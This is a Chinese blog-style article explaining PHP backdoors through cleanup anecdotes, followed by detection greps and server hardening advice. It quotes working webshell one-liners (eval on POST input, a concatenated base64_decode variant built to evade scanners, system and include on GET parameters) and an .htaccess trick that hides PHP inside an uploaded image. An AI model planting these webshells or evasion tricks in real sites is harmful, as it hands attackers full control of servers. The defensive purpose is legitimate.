当前位置: 当前位置:首页 > 知识 > PHP后门正文

PHP后门

作者:探索 来源:时尚 浏览: 【大 中 小】 发布时间:2026-10-17 06:20:40 评论数:

一个eval函数,一行Base64字符串,整台服务器就姓了别人的姓。这事我见过太多次。

2019年帮朋友清理一台被黑的WordPress站,翻遍插件和主题没找到异常。最后在wp-includes/post.php第1847行,发现一段看起来像正常注释的东西——/* */@eval($_POST['cmd']);/* */。藏得不算深,但混在几千行代码里,不逐行读根本注意不到。攻击者甚至没费心混淆,因为大部分人根本不会去看核心文件。

PHP后门的本质就一句话:让外部输入变成服务器上执行的代码。所有变种都围绕这个展开,区别只在于怎么藏、怎么传、怎么绕。

最朴素的那种

<?php eval($_POST['x']); ?>——五行以内搞定。传个x=system('whoami');就能执行命令。这种一句话木马(俗称“小马”)体积小到可以塞进图片EXIF、数据库字段、甚至日志文件的某一行里。中国菜刀、蚁剑这类工具就是专门跟它配套的,连上去之后图形化操作文件、数据库、命令执行,跟操作本地电脑差不多。

太容易被查杀了。于是有了变形:

<?php $f = 'ba'.'se'.'64'.'_'.'de'.'code'; @$f($_REQUEST['p']); ?>

字符串拼接绕过关键字匹配。@抑制错误输出,避免暴露路径。用$_REQUEST而不是$_POST,GET、POST、Cookie都能传参。这类代码在GitHub上搜“webshell”能找到几万个变种,有人专门做这个,更新频率比杀毒软件规则库还快。

藏得深的那些

去年分析过一个案例,后门写在.htaccess里:

php_value auto_prepend_file "/var/www/html/uploads/avatar.jpg"

avatar.jpg前半部分是正常图片,后半部分拼了PHP代码。服务器每次执行PHP文件前都会先加载这个“图片”,等于所有请求都过一遍后门。文件管理器里看是个jpg,直接访问图片URL也正常显示,只有用PHP解析才会触发。查杀工具扫目录经常跳过上传文件夹,这招活了好几个月。

更隐蔽的用preg_replace的/e修饰符(PHP 5.5以下)、create_function、array_map回调,把执行点拆散在正常业务逻辑里。我见过一个后门伪装成“缓存清理”功能,前端传个cache_key参数,后端用call_user_func去调,参数值就是函数名。正常用是清缓存,构造一下就能执行任意函数。

怎么找

别只搜eval和assert。查这几个地方:

  • 所有PHP文件的最后几行和第一行,后门经常挂在文件头尾
  • upload、cache、logs目录下的.php文件——正常业务不会往这些地方写PHP
  • 数据库wp_options、wp_posts表里搜<?php,有些后门存在数据库里,通过include远程文件或者反序列化触发
  • 用find . -name "*.php" -newer index.php按修改时间筛,被黑的文件时间戳通常跟其他文件对不上
  • grep -rn "base64_decode\|gzinflate\|str_rot13" --include="*.php" .,编码函数单独出现不一定有问题,但跟eval、system出现在同一行基本可以确定

说个反直觉的:很多后门根本不需要eval。<?php system($_GET['c']); ?>直接调系统命令,比eval还干脆。还有用include加载远程URL的,allow_url_include一开,后门代码都不用存在本地。

防不住的根本原因

PHP的设计哲学是“共享主机友好”,文件权限松、动态特性多、历史包袱重。一个include可以接变量,一个变量可以来自$_GET,一个$_GET可以包含php://input——链条太长,任何一环没过滤干净就完蛋。开发者写业务代码时不会时刻想着“这行会不会被当成后门入口”,但攻击者会。

我自己的习惯:生产环境disable_functions里禁掉eval、assert、system、exec、passthru、popen、proc_open。open_basedir限制到项目目录。上传目录不给执行权限——nginx里加location ~* /uploads/.*\.php$ { deny all; }。文件完整性监控用aide或tripwire,核心文件被改立刻告警。

但这些都只是提高门槛。真正的后门往往不是技术问题——是某个插件三年没更新,是运维图省事给了777权限,是开发在测试环境留了个phpinfo()忘了删。技术手段能挡住脚本小子,挡不住盯着你版本号打的人。

最后说个事。有次应急响应,客户坚称服务器没被黑,因为“杀毒软件没报警”。我登上去ls -la /tmp,一个叫.hidden.php的文件,内容就一行:<?php @include($_GET['f']); ?>。文件时间戳是三个月前。杀毒软件没报是因为它根本不扫/tmp目录下的隐藏文件。攻击者甚至懒得混淆,因为知道没人会看。